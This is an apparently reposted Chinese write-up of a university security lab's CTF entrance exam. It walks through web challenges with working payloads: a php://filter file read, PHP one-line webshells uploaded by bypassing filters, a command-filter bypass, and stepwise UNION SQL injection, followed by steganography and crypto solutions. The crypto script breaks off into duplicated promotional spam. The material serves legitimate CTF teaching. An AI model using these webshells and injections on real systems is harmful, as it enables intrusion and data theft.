云曦网络安全实验室2024春季学期开学考复现Writeup,2024年最新大牛带你直击优秀开源框架灵魂

构造的payload:http://172.16.17.201:50074/0e1G7.php?G7=php://filter/read=convert.Base64-encode/resource=flag.php

得到一串base64编码

解码后就得到flag啦。

本题完。

5.这都不做

这是一道文件上传漏洞利用的题目。

首先介绍一下什么是文件上传漏洞,什么是一句话木马:

需要绕过的地方

  1. 文件类型验证:服务器可能会限制可以上传的文件类型,通常通过检查文件扩展名来实施。
  2. 内容验证:服务器可能会检查文件的MIME类型或文件内容,以确保上传的是合法的图像或文档文件等。
  3. 文件大小限制:上传的文件大小可能受到限制。
  4. 服务端代码执行防护:服务器可能会尝试阻止上传的文件被执行,特别是对于脚本文件。

绕过的方式

  1. 扩展名绕过:尝试改变文件扩展名或使用服务器允许的其他扩展名,例如将.php文件改为.php5.phtml等。
  2. 利用双写扩展名:如shell.php.jpg,某些服务器可能会误认为是合法的图片文件,实则最终以PHP文件执行。
  3. MIME类型欺骗:在HTTP请求中修改Content-Type头,尝试绕过基于MIME类型的验证。
  4. 内容混淆:将恶意代码嵌入到看似合法的文件中,如将PHP代码隐藏在图像文件中,尝试绕过内容基的检查。
  5. 利用服务器配置错误:有些服务器配置可能允许执行带有特定扩展名的文件,甚至在文件名中包含某些关键字。
  6. 利用文件解析漏洞:某些Web服务器或应用程序在解析文件时存在缺陷,如Apache的多后缀处理,可被利用来执行脚本。

一句话木马

一旦绕过了文件上传的限制,可以上传一句话木马来获取webshell。一句话木马通常是极其简短的脚本代码,用于远程执行命令,如:

<?php eval($_POST['cmd']); ?>

成功上传后,攻击者可以通过发送HTTP POST请求并携带cmd参数来执行服务器上的任意命令。

所以,我们这里的核心就是要绕过各种各样奇奇怪怪的上传限制,把一句话木马上传到服务器上并使他解释为PHP代码执行,我们就可以进行远程命令执行,相当于获得了管理员权限。

经过多次测试后,这道题目一共需要绕过三处:
1,文件名双写绕过

2,文件类型绕过

3,PHP短标签绕过

绕过文件上传漏洞我们一般使用Burpsite,没错,又是这个老朋友。

使用Burpsuite工具抓包,抓包方法与前面一样。

右键发送到repeater重放器改包:

需要修改的是这三处:

经过多次尝试,服务器会将上传的文件后缀注释掉,不是.php结尾的文件,自然不会被服务器当做php代码执行。所以我们这里需要双写php,即在.php中间再加一个php,即为.pphphp,服务器会注释掉中间的php,还剩一个.php,其中的代码就可以被服务器执行。

还有一处需要绕过的是Content-type,即文件类型,这是文件上传漏洞题目中需要修改最多的地方,基本上每一题都要改这个地方。这里默认的是application/octet-stream,经过尝试报错,可以知道这里服务器只允许上传jpg图片文件,jpg文件的Content-type是image/jpeg。

最后一处需要绕过的地方是php短标签,这是需要补充的知识:

在PHP中,短标签(short tag)是一种简写形式的PHP标签。标准的PHP标签是<?php?>,而短标签则是<??>。短标签的使用可以让PHP代码更简洁,但它需要在php.ini配置文件中通过short\_open\_tag选项被明确地启用。由于不是所有的服务器都启用了短标签,依赖短标签的代码可能在某些环境中无法正常运行,因此使用短标签可能会导致可移植性问题。

短标签绕过

在文件上传漏洞的上下文中,"短标签绕过"通常指的是攻击者利用目标服务器开启了对PHP短标签的支持这一点,通过上传包含短标签(如<?)的恶意PHP代码来执行远程代码。这是因为服务器可能仅仅检查文件是否包含标准的PHP开头标签(<?php),而忽略了短标签。

例如,如果攻击者知道目标服务器启用了PHP短标签,但文件上传过滤器只检查是否存在<?php标签来决定文件是否包含PHP代码,那么攻击者可以利用这个漏洞通过上传包含<?开头的PHP代码来绕过过滤器。

绕过示例

比如,一个简单的一句话木马PHP脚本,使用标准PHP标签可能是这样的:

<?php eval($\_REQUEST['code']); ?>

但如果服务器开启了短标签支持,攻击者可以利用短标签绕过,简化为:

<? eval($\_REQUEST['code']); ?>

或者更加隐蔽地使用:

<?=shell\_exec($\_GET['cmd'])?>

这里<?=是另一种形式的短标签,用于输出,但它在PHP 5.4.0及更高版本中默认开启,不受short\_open\_tag配置选项的影响。

综上所述,需要修改的地方如图所示,然后点击放行:

(这里我们在一句话木马的内容前面加上GIF89a,这是GIF文件的标识,可以做到更好的隐藏。而且我们检验上传是否成功的方法一般为直接访问上传的一句话木马文件,在已经绕过所有限制,并且上传成功的前提下,服务器会执行我们上传的脚本,但是GIF89a只是一个标识,并不会被执行,访问文件时会正常显示在页面上,也方便我们自查一句话木马是否上传成功)

最后让我们猜路径,可以看到,处理文件上传的php脚本为upload.php,所以我们猜测存放上传文件的路径为/uplpad文件夹。

我们先来访问一下http://172.16.17.201:50135/upload/yjh.php

可以看到,这个php文件已经成功上传并被服务器执行。既然已经植入了木马,那我们也可以进行命令执行了。归根结底,我们需要找到的flag存放于网站某个目录下的某个文件中,我们要做的就是找到这个文件,并且读取文件中的内容。这里有两种做法,一种是直接在一句话木马界面进行命令执行,还有一种是使用中国蚁剑这个工具,可以连接已经上传的木马文件,从而获得访问网站目录等管理员权限。其实两种方法的原理都是一样的,只不过蚁剑提供了一个图形化界面,更加便捷。

首先我们进行第一种方式,命令执行:
这里我们使用的工具是浏览器插件Hackbar,注意,这里可不能直接通过URL访问,因为我们的一句话木马是要用POST请求方式才能起作用,直接访问默认使用的是GET请求方式。

在一句话木马的界面,F12打开Hackbar工具,勾选POST Data,在下方的参数框中填入shell=system(‘ls’);,意为列出当前目录下所有文件。出现yjh.php,说明命令起作用了。

shell=system(‘ls /’);去根目录看看,可以看到flag文件

shell=system(‘cat /flag’);使用cat命令查看flag文件中的内容

第二种方法:使用中国蚁剑工具:

右键空白页面添加数据,填上一句话木马的路径,密码为shell,测试连接

添加数据,直接双击第一个数据,查看网站目录,点击 / 查看网站根目录,即可在根目录中找到flag文件,双击查看就能看到flag。

本题完。

6.Rceeee

我们先来了解一下什么是rce:

RCE漏洞,即远程代码执行漏洞,是一种安全漏洞,它允许攻击者在目标系统或进程中执行任意代码。这就意味着攻击者能够控制目标计算机执行他们想要的操作,例如访问敏感数据、安装恶意软件或者创建后门。

利用RCE漏洞通常涉及以下几个步骤:

  1. 发现漏洞:通过各种手段(如扫描工具、代码审计或提示信息)发现目标系统中存在的RCE漏洞。
  2. 制作攻击载荷:根据具体的漏洞特征,创建一个特制的代码或命令序列,即攻击载荷。
  3. 传递和触发:通过网络请求或其他方式,将攻击载荷发送到目标系统,并促使系统执行这段代码。
  4. 控制和操作:一旦攻击载荷被执行,攻击者可以根据需要进行各种操作。

在CTF(Capture The Flag)竞赛中,RCE漏洞是一类常见的题目,它考验参赛者发现和利用这些漏洞的能力。在CTF比赛的攻防环境里,RCE漏洞的利用是为了攻击对手或者获得系统的权限,从而抓取到标志物(即Flag),得分赢得比赛。这些竞赛通常是在一个控制和法律允许的环境中进行,旨在通过实战演练来提高参与者的安全技能。

回过来看这道题目:

让我们逐行解释一下这个php脚本都干了些啥:

  1. <?php: 这是PHP代码开始的标志。

  2. error\_reporting(0);: 这行代码设置了PHP的错误报告级别。数字0表示禁止所有的错误报告,这通常用于生产环境中防止用户看到错误信息。

  3. highlight\_file(\_\_FILE\_\_);: 这个函数的作用是将当前文件的源代码显示在浏览器中,并且以高亮显示。\_\_FILE\_\_ 是一个魔术常量,指向当前执行的脚本文件。

  4. function strCheck($cmd) { ... }: 定义了一个名为 strCheck 的函数,它接受一个参数 $cmd,即用户输入的命令。

  5. if(!preg\_match("/\;|\&|\\$|\x09|\x26|tac|cat|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){: 使用正则表达式检查 $cmd 变量中是否含有列出的一系列字符或单词(如分号、&、$、制表符、tac、cat等)。这个检查是不区分大小写的,因为正则表达式的末尾有一个 i 修饰符。

  6. return($cmd);: 如果 preg\_match 检查不匹配(即 $cmd 中不包含那些字符或单词),函数就会返回 $cmd

  7. else { die("你的想法很有趣....."); }: 如果检测到了非法字符或单词,脚本执行将停止,并显示一条消息 “你的想法很有趣…”。

  8. $cmd=$\_GET['cmd'];: 这行代码从URL的查询字符串中获取 cmd 参数的值,并将其赋给变量 $cmd

  9. strCheck($cmd);: 对变量 $cmd 调用 strCheck 函数以检查可能的非法字符或命令。

  10. shell\_exec($cmd);: 如果 $cmd 通过了 strCheck 函数的检查,这个命令就会执行。shell\_exec 函数用于执行一个命令并通过字符串返回输出,它是PHP中用于执行外部程序的一个函数。

我们这里的思路是,绕过所有的字符和单词检查,使用tee命令,保存输出的flag的内容到文件中然后直接访问,得到flag。这里用到的命令为?cmd=c\at /fl\ag | tee 1.txt。

这个题目设计了一个基本的安全机制来过滤掉潜在的危险命令。这个机制通过 strCheck 函数实现,它检查传入的 $cmd 变量,如果发现一系列特定的字符或命令关键词,如 “;”, “&”, “tac”, “cat” 等,就会终止执行。

构造的 payload 是 http://172.16.17.201:50082/?cmd=c\at /fl\ag | tee 1.txt。这个payload的关键在于绕过了 strCheck 函数的检测。具体来说:

  1. 命令拆分:使用了 \ 来逃避 strCheck 函数对 “cat” 和 “flag” 这两个词的检测。实际上命令变成了 cat /flag,这是一条合法的命令,用于读取名为 “flag” 的文件。

  2. 命令执行:使用 | tee 1.txtcat 命令的输出不仅显示在屏幕上,还同时写入名为 “1.txt” 的文件。这样做的目的是为了绕过可能的输出限制,即使直接的命令执行结果无法在网页上显示,输出内容也会被保存到服务器上的 “1.txt” 文件中。

当访问 http://172.16.17.201:50082/1.txt 时,就能看到保存在 “1.txt” 文件中的 flag。这是因为这个文件现在存储在Web服务器的根目录下,可以像访问其他网页资源一样通过URL直接访问。

因此,这种 payload 的关键在于巧妙绕过了安全检测,同时保证了命令执行的结果可以被存储和访问。

解释一下,?cmd=c\at /fl\ag | tee 1.txt  利用了管道命令。翻译一下就是这个cmd参数通过绕过安全过滤尝试读取文件/flag的内容,并将输出同时保存到服务器上的1.txt文件中。

本题完。

7.斗宗强者恐怖如斯

一个后台管理页面,提示账号为admin,可以爆破出密码为admin123,来到SQL注入页面。

http://172.16.17.201:50093/wyr_secrets.php?id=1’报错,说明存在SQL注入

http://172.16.17.201:50093/wyr_secrets.php?id=-1’) union select 1,2,3 – -查看显示位

http://172.16.17.201:50093/wyr_secrets.php?id=-1’) union select 1,2,database()-- -看数据库名

http://172.16.17.201:50093/wyr_secrets.php?id=-1’) union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=‘xitif_sql’ – -查看表名

注意,这里的语句中information会被服务器注释掉or,因此需要双写为infoorrmation

http://172.16.17.201:50093/wyr_secrets.php?id=-1’) union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=‘flag’ – -得到字段为flAg

最后http://172.16.17.201:50093/wyr_secrets.php?id=-1’) union select 1,2,group_concat(flAg) from xitif_sql.flag – -得到flag

本题完

MISC

1.不要尝试爆破哟!

有个key.png,有个加密的压缩包,不用说,压缩包的密码就在图片里

题目的提示是LSB隐写,使用stegslove工具打开图片分析

可以在preview中看到密码,但是这里的密码不能有空格,所以我们Save Bin保存一下文件

用记事本打开bin文件,就能得到密钥,注意是花括号中的部分

用得到的密钥解压压缩包,得到一个文本文件,是图片转为base64编码的内容

全部复制,将base64编码转为图片,在线转换地址base64转图片 - 爱资料工具icon-default.png?t=N7T8https://www.toolnb.com/tools/base64ToImages.html

得到了一个残缺的二维码,缺了三个定位角。下载一张定位角图片,去PS或者PPT把残缺的三个定位角P上

也可以直接截图我这里的

P图,需要做到心不慌手不抖

然后用在线工具识别一下就能得到flag

草料二维码解码器免费在线二维码解码器,支持通过上传或拖拽微信、支付宝、QQ等二维码图片、输入二维码图片地址、电脑摄像头扫描二维码等方式批量解析二维码。快速获取二维码内容或重新生成二维码icon-default.png?t=N7T8https://cli.im/deqr

本题完。

2.留个后门

这道题需要用到代码审计的工具为D盾(dsafe),将文件解压后把整个文件夹拖到D盾中即可自动开始扫描。

答案已经出来了,就是this_is_answer套上Yunxi{}

本题完。

3.师姐的旅游照片

是一个名称为png的图片,加上后缀,就能得到一张图片,既然说要得到猪脚图片,那么肯定是图片里面还有一张图片

丢到winhex里边分析一下,可以在最后看到一串base64编码,解码后是前半段flag

丢到Kali Linux虚拟机使用foremost工具分离

分离的命令为:

foremost -o /home/kali/桌面/2 ‘/home/kali/桌面/师姐的旅游照片.png’

运行成功后可以在桌面上得到一个名为2的文件夹

打开zip文件,其中的压缩包就是分离出来的文件,把它复制到桌面上

解压后是一张猪脚图片,题目提示的很明显了,修改图片的高为1607

修改0320(原图片高800的十六进制数值)为0647(1607转换为十六进制的数值)

保存后即可看到后半段flag

本题完。

4.来听一首music

音频隐写题目,要用到的工具是MP3stego,压缩包的first文件夹中有一个音频文件,有一个图片,音频文件的密码就在图片属性内。

将音频放到MP3stego的文件夹内,在文件夹中打开命令行工具

使用的命令为

Decode -X -P pass yunxi.mp3

分析结束后,出来一个.txt文件

base64解码

再接着解一次

这个是base16

解出来了,第二个压缩包的密码

解压second压缩包,得到一串文本,这是摩斯密码,只不过要替换一下

将A替换为 - ,B替换为 . ,然后用在线网站即可解密flag

这里的%u7b代表 { ,%u7d代表 }

本题完。

5.小猫小猫请给我flag

这题简单,解压压缩包得到一张图片,直接winhex或者010打开就有flag。

本题完。

6.超简单的流量分析

看提示:sqli-labs,创建了一个新用户

用wireshark打开解压后的.pcapng结尾的文件

CTRL+F搜索sqli-labs,然后看到右下角的create.php,就是处理创建账户的PHP脚本

右键左下角相关数据,追踪TCP流

可以看到新创建的用户为yunxi,后面的re密码套上Yunxi{}就是flag

本题完。

Crypto

1.EZ-rsa

运行附件中的脚本,可以分别得到三组n和c,下面是解密脚本

import binascii
import gmpy2
from functools import reduce

导入库,binascii将数字转换成二进制字符串,gmpy2用于大数运算

n = [
5567000486226353254524673454357147076118077122275789480555238584552332526459181641567858429587222587683345901310468140782420858931709570476562698953112801,
6982887363645354856540867035629441781549999700006363403940951376485517460506822033812812263179663875843737953430050436453298336104404304183964162702612863,
5569628780521526092136759047774448808289588145127191213956593902336353172559905282602383716258500935021056393917971164303539941268395159953652768614304911
]

c = [
4112523544883480830903403452517516825703078902670926405984774762024235980767805538947466914193950835488469608756778569692190967901730207690525300247682815,

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

学习路线:

这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
在这里插入图片描述

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
img

9)]
[外链图片转存中…(img-MNd32Cw8-1712776809609)]
[外链图片转存中…(img-uI8Ei3LX-1712776809609)]
[外链图片转存中…(img-y4kjGWQA-1712776809610)]
[外链图片转存中…(img-jfiBaLbe-1712776809610)]
[外链图片转存中…(img-MCPiDc2a-1712776809610)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
[外链图片转存中…(img-mb42ok8d-1712776809611)]

学习路线:

这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
在这里插入图片描述

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-L8xU0QXj-1712776809611)]

  • 15
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值